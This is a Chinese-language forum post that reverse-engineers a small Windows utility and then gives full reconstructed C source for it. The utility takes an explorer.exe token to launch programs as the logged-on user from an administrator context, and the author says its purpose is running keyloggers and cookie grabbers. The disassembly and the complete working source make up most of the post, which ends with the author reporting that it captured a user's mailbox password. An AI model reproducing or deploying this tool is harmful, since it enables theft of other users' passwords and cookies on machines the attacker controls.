- 论坛徽章:
- 0
|
这个小程序的作用是在ADMI权限下以其它低权限的用户的身份运行程序,比如键盘记录,COOKIES获取等。。\r\n脱壳后,OD看了下,程序开始处写的很有意思:\r\n\r\n/*4011E8*/ PUSH ESI //用户输入的参数合法跳这里\r\n/*4011E9*/ MOV ESI,DWORD PTR SS:[ESP+C] //argv[1]\r\n/*4011ED*/ MOV EAX,DWORD PTR DS:[ESI+4] //数据,用户输入的第一个参数,这里通过偏移取的内存地址,又是编译器干的好事\r\n/*4011F0*/ PUSH 0\r\n/*4011F2*/ PUSH 10000080\r\n/*4011F7*/ PUSH 3\r\n/*4011F9*/ PUSH 0\r\n/*4011FB*/ PUSH 1\r\n/*4011FD*/ PUSH 80000000\r\n/*401202*/ PUSH EAX\r\n/*401203*/ CALL DWORD PTR DS:[<&kernel32.CreateFileA>]\r\n/*401209*/ CMP EAX,-1 //作者通过CreateFile来判断文件存在与否,这种思路还是第一次见..-_-#\r\n/*40120C*/ JE SHORT CreatePr.0040123B //关闭句柄\r\n/*40120E*/ PUSH EAX\r\n/*40120F*/ CALL DWORD PTR DS:[<&kernel32.CloseHandle>]\r\n\r\n感觉这是一个比较不错的思路,在某些特殊环境下是很有用的。\r\n\r\n下面看看它是如何以其它用户运行进程的.下面贴的代码顺序基本等同于程序逻辑\r\n\r\n/*401140*/ PUSH CreatePr.0040712C\r\n/*401145*/ PUSH EAX\r\n/*401146*/ MOV DWORD PTR SS:[ESP+64],0 //申请的空间置空\r\n/*40114E*/ CALL CreatePr.00401000 //搜索子函数\r\n跳到子函数00401000处, 说白了这个子函数的功能就是搜索当前进程中的explorer.exe,\r\n并用OpenProcessToken API取得它的句柄\r\n/*401024*/ PUSH EDI\r\n/*401025*/ PUSH EAX\r\n/*401026*/ MOV DWORD PTR SS:[ESP+C],EAX //---\r\n/*40102A*/ MOV ECX,49\r\n/*40102F*/ LEA EDI,DWORD PTR SS:[ESP+10] //CreateToolhelp32Snapshot 所用到的HANDLE句柄\r\n/*401033*/ PUSH 2\r\n/*401035*/ REP STOS DWORD PTR ES:[EDI] //初始化EDI,用0填充,下面的创建系统快照,在快照中包含系统中所有的进程\r\n/*401037*/ CALL <JMP.&kernel32.CreateToolhelp32Snapshot>\r\n/*40103C*/ MOV EDI,EAX\r\n/*40103E*/ CMP EDI,-1 //判断返回的句柄\r\n/*401041*/ JNZ SHORT CreatePr.0040105A\r\n/*401043*/ POP EDI //out...\r\n/*401044*/ XOR EAX,EAX\r\n/*401046*/ POP EBP\r\n/*401047*/ MOV ECX,DWORD PTR SS:[ESP+128]\r\n/*40104E*/ CALL CreatePr.004013A0\r\n/*401053*/ ADD ESP,12C\r\n/*401059*/ RETN\r\n/*40105A*/ PUSH EBX\r\n/*40105B*/ PUSH ESI\r\n/*40105C*/ LEA EAX,DWORD PTR SS:[ESP+10] //CreateToolhelp32Snapshot 返回的句柄送入,准备压入堆栈\r\n/*401060*/ PUSH EAX\r\n/*401061*/ PUSH EDI\r\n/*401062*/ MOV DWORD PTR SS:[ESP+18],128\r\n/*40106A*/ CALL <JMP.&kernel32.Process32First>\r\n/*40106F*/ TEST EAX,EAX\r\n/*401071*/ JE CreatePr.00401101 //成功返回的话进入下面的循环枚举进程\r\n/*401077*/ PUSH EBP //\"explorer.exe\"\r\n/*401078*/ CALL CreatePr.00401274 //这个子函数判断进程名是否\"explorer.exe\"\r\n/*40107D*/ LEA ECX,DWORD PTR SS:[ESP+38] \r\n/*401081*/ PUSH ECX\r\n/*401082*/ MOV ESI,EAX\r\n/*401084*/ CALL CreatePr.00401274\r\n/*401089*/ ADD ESP,8\r\n/*40108C*/ LEA ESP,DWORD PTR SS:[ESP]\r\n/*401090*/ MOV DL,BYTE PTR DS:[EAX]\r\n/*401092*/ MOV BL,BYTE PTR DS:[ESI]\r\n/*401094*/ MOV CL,DL\r\n/*401096*/ CMP DL,BL\r\n/*401098*/ JNZ SHORT CreatePr.004010B8\r\n/*40109A*/ TEST CL,CL\r\n/*40109C*/ JE SHORT CreatePr.004010B4\r\n/*40109E*/ MOV DL,BYTE PTR DS:[EAX+1]\r\n/*4010A1*/ MOV BL,BYTE PTR DS:[ESI+1]\r\n/*4010A4*/ MOV CL,DL\r\n/*4010A6*/ CMP DL,BL\r\n/*4010A8*/ JNZ SHORT CreatePr.004010B8\r\n/*4010AA*/ ADD EAX,2\r\n/*4010AD*/ ADD ESI,2\r\n/*4010B0*/ TEST CL,CL\r\n/*4010B2*/ JNZ SHORT CreatePr.00401090\r\n/*4010B4*/ XOR EAX,EAX\r\n/*4010B6*/ JMP SHORT CreatePr.004010BD\r\n/*4010B8*/ SBB EAX,EAX\r\n/*4010BA*/ SBB EAX,-1\r\n/*4010BD*/ TEST EAX,EAX\r\n/*4010BF*/ JE SHORT CreatePr.004010D7\r\n/*4010C1*/ LEA EAX,DWORD PTR SS:[ESP+10]\r\n/*4010C5*/ PUSH EAX\r\n/*4010C6*/ PUSH EDI\r\n/*4010C7*/ CALL <JMP.&kernel32.Process32Next>\r\n/*4010CC*/ TEST EAX,EAX\r\n/*4010CE*/ JNZ SHORT CreatePr.00401077\r\n/*4010D0*/ MOV ESI,1\r\n/*4010D5*/ JMP SHORT CreatePr.00401103\r\n/*4010D7*/ MOV ECX,DWORD PTR SS:[ESP+18]\r\n/*4010DB*/ PUSH ECX //当前进程的PID\r\n/*4010DC*/ PUSH 0\r\n/*4010DE*/ PUSH 400\r\n/*4010E3*/ CALL DWORD PTR DS:[<&kernel32.OpenProcess>]\r\n/*4010E9*/ MOV EDX,DWORD PTR SS:[ESP+140] //token 句柄\r\n/*4010F0*/ PUSH EDX\r\n/*4010F1*/ PUSH 0F01FF\r\n/*4010F6*/ PUSH EAX\r\n/*4010F7*/ CALL DWORD PTR DS:[<&ADVAPI32.OpenProcessToken>] // 原来要用到它...\r\n/*4010FD*/ MOV ESI,EAX\r\n/*4010FF*/ JMP SHORT CreatePr.00401103\r\n/*401101*/ XOR ESI,ESI\r\n/*401103*/ PUSH EDI\r\n/*401104*/ CALL DWORD PTR DS:[<&kernel32.CloseHandle>]\r\n/*40110A*/ MOV EAX,ESI\r\n/*40110C*/ POP ESI\r\n/*40110D*/ POP EBX\r\n/*40110E*/ POP EDI\r\n/*40110F*/ MOV ECX,DWORD PTR SS:[ESP+12C] //参数为空直接OUT。。\r\n/*401116*/ POP EBP\r\n/*401117*/ CALL CreatePr.004013A0\r\n/*40111C*/ ADD ESP,12C\r\n/*401122*/ RETN\r\n\r\n00401000返回后的处理:\r\n/*401161*/ PUSH EDI\r\n/*401162*/ XOR EAX,EAX\r\n/*401164*/ MOV ECX,10\r\n/*401169*/ LEA EDI,DWORD PTR SS:[ESP+1C] //进程结构PROCESS_INFORMATION ..等的一些初始化动作\r\n/*40116D*/ REP STOS DWORD PTR ES:[EDI]\r\n/*40116F*/ LEA ECX,DWORD PTR SS:[ESP+8]\r\n/*401173*/ PUSH ECX\r\n/*401174*/ LEA EDX,DWORD PTR SS:[ESP+1C]\r\n/*401178*/ PUSH EDX\r\n/*401179*/ PUSH EAX\r\n/*40117A*/ PUSH EAX\r\n/*40117B*/ PUSH 8000000\r\n/*401180*/ PUSH EAX\r\n/*401181*/ PUSH EAX\r\n/*401182*/ PUSH EAX\r\n/*401183*/ PUSH EAX\r\n/*401184*/ MOV EAX,DWORD PTR SS:[ESP+84]\r\n/*40118B*/ PUSH ESI\r\n/*40118C*/ PUSH EAX\r\n/*40118D*/ MOV DWORD PTR SS:[ESP+44],44\r\n/*401195*/ MOV DWORD PTR SS:[ESP+4C],CreatePr.0040711C\r\n/*40119D*/ CALL DWORD PTR DS:[<&ADVAPI32.CreateProcessAsUserA>] // CreateProcessAsUserA 这个是很重要D一个。起了大作用,API的具体参数我也不是特别清楚每个的意思,有心人可以查查手册,我还原的时候反正是抄它的.\r\n/*4011A3*/ MOV ECX,DWORD PTR SS:[ESP+60]\r\n/*4011A7*/ PUSH ECX\r\n/*4011A8*/ MOV ESI,EAX\r\n/*4011AA*/ CALL DWORD PTR DS:[<&kernel32.CloseHandle>]\r\n/*4011B0*/ POP EDI\r\n/*4011B1*/ MOV EAX,ESI\r\n/*4011B3*/ POP ESI\r\n/*4011B4*/ ADD ESP,54\r\n/*4011B7*/ RETN\r\n\r\n\r\n好啦,基本逆完啦,下面给出完整还原代码:- // by M80\r\n// email:x90x20@126.com \r\n// HOME : http://80dnst.com/\r\n#include <stdio.h>\r\n#include <windows.h>\r\n#include <tlhelp32.h> \r\n#define _pr printf\r\n#define _SHELL \"Explorer.exe\"\r\nint sub_00401000(HANDLE &hToken)\r\n{\r\nPROCESSENTRY32 pe32 = {0};\r\nHANDLE hSnapshot = NULL ;\r\nBOOL bRet = FALSE ;\r\npe32.dwSize = sizeof(PROCESSENTRY32); \r\nhSnapshot = CreateToolhelp32Snapshot(0x00000002,0);\r\nif ( !hSnapshot) {\r\n #ifdef _DEBUG\r\n _pr(\"CreateToolhelp32Snapshot() failure : %d\\n\",GetLastError() );\r\n #endif // _DEBUG\r\n return FALSE ;\r\n}\r\n\r\n if ( Process32First( hSnapshot, &pe32 ) ) {\r\n do { \r\n if ( stricmp(pe32.szExeFile ,_SHELL ) == 0 ) { \r\n HANDLE hProcess = OpenProcess(0x400,FALSE,pe32.th32ProcessID);\r\n if (!hProcess)\r\n {\r\n #ifdef _DEBUG\r\n _pr(\"OpenProcess() failure : %d\\n\",GetLastError() );\r\n #endif // _DEBUG\r\n }\r\n bRet = OpenProcessToken(hProcess,0x0f01ff,&hToken); \r\n if (!bRet) {\r\n #ifdef _DEBUG\r\n _pr(\"OpenProcessToken() failure : %d\\n\",GetLastError() );\r\n #endif // _DEBUG\r\n }\r\n CloseHandle(hProcess);\r\n break ;\r\n }\r\n } while( Process32Next( hSnapshot, &pe32 ) );\r\n } \r\n CloseHandle(hSnapshot);\r\nreturn bRet ;\r\n}\r\n// 原子函数是为__cdecl格式\r\nint __stdcall sub_00401130(char * pchName){ \r\nHANDLE hToken ;\r\nSTARTUPINFO si;\r\nPROCESS_INFORMATION pi; \r\nZeroMemory(&si, sizeof(STARTUPINFO));\r\nsi.cb= sizeof(STARTUPINFO);\r\nsi.lpDesktop = TEXT(\"winsta0\\\\default\");\r\nif (!*pchName) \r\n return FALSE ; \r\nif (!sub_00401000(hToken)){\r\n #ifdef _DEBUG\r\n _pr(\"sub_00401000() failure : %d\\n\",GetLastError() );\r\n #endif // _DEBUG\r\n return FALSE ;\r\n}\r\nif( !CreateProcessAsUser(hToken,\r\n pchName,\r\n NULL,\r\n NULL,\r\n NULL,\r\n FALSE,\r\n 0x8000000, \r\n NULL,\r\n NULL,\r\n &si,\r\n &pi)){\r\n #ifdef _DEBUG\r\n _pr(\"CreateProcessAsUser() failure : %d\\n\",GetLastError() );\r\n #endif // _DEBUG\r\n CloseHandle(hToken); \r\n return FALSE ;\r\n}\r\n CloseHandle(hToken); \r\nreturn TRUE ;\r\n}\r\nint main(int argc ,char** argv){\r\nif (argc!=2) {\r\n printf(\"\\r\\nCreateProcessAsLongonUser 1.0 made by M80(Pirate..-_-#)\\r\\n\\r\\n\");\r\n printf(\"Usage: %s [FileName]\\r\\n\",argv[0]);\r\n return 0 ;\r\n}\r\nHANDLE handle = CreateFile(\r\n argv[1],\r\n 0x80000000,\r\n 0x1,\r\n 0x0,\r\n 0x3,\r\n 0x10000080,\r\n NULL);\r\nif (!handle){ \r\n #ifdef _DEBUG\r\n _pr(\"CreateFile() failure : %d\\n\",GetLastError() );\r\n #endif // _DEBUG\r\n return 0 ;\r\n}\r\nCloseHandle(handle); \r\nsub_00401130(argv[1]);\r\nreturn 0 ;\r\n}
复制代码 xp#sp2 测试通过,和原程序有着同样的效果,ADMIN权限下创建一个获得USER 用户的邮箱密码的工具,成功获取到。\r\n2k没测试,可能需要提升为DEBUG权限,原程序我是没看到它提升过权限,暂时这样吧. |
|